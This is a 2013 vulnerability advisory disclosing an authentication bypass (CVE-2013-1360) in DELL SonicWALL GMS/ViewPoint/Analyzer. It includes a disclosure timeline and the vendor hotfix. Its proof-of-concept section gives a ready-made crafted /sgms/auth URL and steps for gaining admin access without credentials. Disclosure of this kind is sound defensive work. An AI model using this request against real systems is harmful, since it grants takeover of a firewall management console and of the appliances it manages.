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NSOADV-2013-002: DELL SonicWALL GMS/Viewpoint/Analyzer Authentication Bypass (/sgms/)
From: NSO Research <nso-research () sotiriu de>
Date: Thu, 17 Jan 2013 13:48:02 +0100

______________________________________________________________________
-------------------------- NSOADV-2013-002 ---------------------------

SonicWALL GMS/Viewpoint/Analyzer Authentication Bypass (/sgms/)
______________________________________________________________________
______________________________________________________________________

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                        11111 00110 00110001111
                   111111 01 01 1 11111011111111
                11111  0 11 01 0 11 1 1  111011001
             11111111101 1 11 0110111  1    1111101111
           1001  0 1 10 11 0 10 11 1111111  1 111 111001
         111111111 0 10 1111 0 11 11 111111111 1 1101 10
        00111 0 0 11 00 0 1110 1 1011111111111 1111111 11  100
       10111111 0 01 0  1 1 111110 11 1111111111111  11110000011
       0111111110 0110 1110 1 0 11101111111111111011 11100  00
       01111 0 10 1110 1 011111 1 111111111111111111111101 01
       01110 0 10 111110 110 0 11101111111111111111101111101
      111111 11 0 1111 0 1 1 1 1 111111111111111111111101 111
      111110110 10 0111110 1 0 0 1111111111111111111111111 110
    111 11111 1  1 111 1   10011 101111111111011111111 0   1100
   111 10  110 101011110010   11111111111111111111111 11 0011100
   11 10     001100     0001      111111111111111111 10 11 11110
  11110       00100      00001     10 1  1111  101010001 11111111
  11101        0  1011     10000    00100 11100        00001101 0
  0110         111011011             0110   10001        101 11110
  1011                 1             10 101   000001        01   00
   1010 1                              11001      1 1        101  10
      110101011                          0 101                 11110
            110000011
                      111
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  Title:                  SonicWALL GMS/Viewpoint/Analyzer
                          Authentication Bypass (/sgms/)
  Severity:               Critical
  CVE-ID:                 CVE-2013-1360
  CVSS Base Score:        9
   Impact:                8.5
   Exploitability:        10
   CVSS2 Vector:          AV:N/AC:L/Au:N/C:P/I:P/A:C
  Advisory ID:            NSOADV-2013-002
  Found Date:             2012-04-26
  Date Reported:          2012-12-13
  Release Date:           2013-01-17
  Author:                 Nikolas Sotiriu
  Website:                http://sotiriu.de
  Twitter:                http://twitter.com/nsoresearch
  Mail:                   nso-research at sotiriu.de
  URL:                    http://sotiriu.de/adv/NSOADV-2013-002.txt
  Vendor:                 DELL SonicWALL (http://www.sonicwall.com/)
  Affected Products:      GMS
                          Analyzer
                          UMA
                          ViewPoint
  Affected Platforms:     Windows/Linux
  Affected Versions:      GMS/Analyzer/UMA 7.0.x
                          GMS/ViewPoint/UMA 6.0.x
                          GMS/ViewPoint/UMA 5.1.x
                          GMS/ViewPoint 5.0.x
                          GMS/ViewPoint 4.1.x
  Remote Exploitable:     Yes
  Local Exploitable:      No
  Patch Status:           Vendor released a patch (See Solution)
  Discovered by:          Nikolas Sotiriu



Background:
===========

The SonicWALL® Global Management System (GMS) provides organizations,
distributed enterprises and service providers with a powerful and
intuitive solution to centrally manage and rapidly deploy SonicWALL
firewall, anti-spam, backup and recovery, and secure remote access
solutions. Flexibly deployed as software, hardware, or a virtual
appliance, SonicWALL GMS offers centralized real-time monitoring, and
comprehensive policy and compliance reporting. For enterprise customers,
SonicWALL GMS streamlines security policy management and appliance
deployment, minimizing administration overhead. Service Providers can
use GMS to simplify the security management of multiple clients and
create additional revenue opportunities. For added redundancy and
scalability, GMS can be deployed in a cluster configuration.

(Product description from Website)



Description:
============

DELL SonicWALL GMS/Analyzer/ViewPoint contains a vulnerability that
allows an unauthenticated, remote attacker to bypass the Web interface
authentication offered by the affected product.

The vulnerability is attributed to a broken session handling in the
process of password change process of the web application.
changing in the web application.

An attacker may exploit this vulnerability by sending a specially
crafted request to the SGMS Interface (/sgms/).

The attacker gains full administrative access to the interface and
full control over all managed appliances, which could lead to a full
compromisation of the organisation.



Proof of Concept :
==================

Access the following URL to login to the sgms interface:

http://host/sgms/auth?clientHash=765c5e5b571050030b63666663383064663
83761376339303932346163656262&clientHash2=03196ba18cffc80df87a7c9092
4acebb&changePassword=1&user=admin&ctlSGMSDomainId=DMN00000000000000
00000000001

If the Console is not directly shown, type any password you
want in the change password dialog twice and hit submit to login.

Maybe you need to access the following URL after this process:

http://host/sgms/auth



Solution:
=========

Install Hotfix 125076.77. (Download from www.mysonicwall.com)



Disclosure Timeline:
====================

2012-04-26: Vulnerability found
2012-12-12: Sent the notification and disclosure policy and asked
            for a PGP Key (security () sonicwall com)
2012-12-13: Sent advisory, disclosure policy and planned disclosure
            date (2012-12-28) to vendor
2012-12-18: SonicWALL analyzed the finding and wishes to delay the
            release to the 3. calendar week 2013.
2012-12-18: Changed release date to 2013-01-17.
2012-12-20: Patch is published
2013-01-17: Release of this advisory






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